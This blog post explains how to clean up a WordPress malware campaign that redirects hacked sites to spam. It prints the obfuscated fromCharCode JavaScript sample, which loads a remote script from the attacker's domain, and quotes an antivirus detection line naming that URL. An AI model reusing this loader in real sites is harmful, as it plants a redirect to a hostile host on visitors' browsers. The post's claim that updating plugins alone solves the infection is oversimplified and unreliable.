Fixed: chatwithgreenbar [.] com malware redirect fix wordpress

Recently thousands of wordpress site affected by Trojan malware which redirect site to spam site. It affect mostly all index.php files and js files in the site. The malware link is in js code ,

The sample code is like this:

fromCharCode(118, 97, 114, 32, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 118, 97, 114, 32, 115, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 115, 46, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 10, 115, 46, 97, 115, 121, 110, 99, 61, 116, 114, 117, 101, 59, 10, 118, 97, 114, 32, 112, 108, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 48, 52, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 57, 56, 44, 32, 57, 55, 44, 32, 49, 49, 52, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 41, 59, 10, 115, 46, 115, 114, 99, 61, 112, 108, 43, 39, 47, 115, 46, 115, 99, 114, 105, 112, 116, 46, 109, 105, 110, 46, 106, 115, 63, 115, 116, 121, 108, 101, 61, 115, 99, 114, 105, 112, 116, 38, 39, 59, 32, 10, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 41, 32, 123, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 46, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 46, 105, 110, 115, 101, 114, 116, 66, 101, 102, 111, 114, 101, 40, 115, 44, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 117, 114, 114, 101, 110, 116, 83, 99, 114, 105, 112, 116, 41, 59, 10, 125, 32, 101, 108, 115, 101, 32, 123, 10, 100, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59, 10, 125))

Download blocked; https:// css . chatwithgreenbar.com / s.script.min.js?style=script&;HEUR:Trojan.Script.Redirector.gen;https://css[.]chatwithgreenbar[.]com/s.script.min.js?style=script&;Trojan program;06/09/2019 22:55:51

The malware can be removed from site easily by updating the plugins and themes. As it is not sql injection so only updating files will solve the problem. Be sure to upload all latest plugins, and themes.

Once updated all files can use wordfence security plugin to harden security.

If any help needed contact me .

Leave a Comment

Your email address will not be published. Required fields are marked *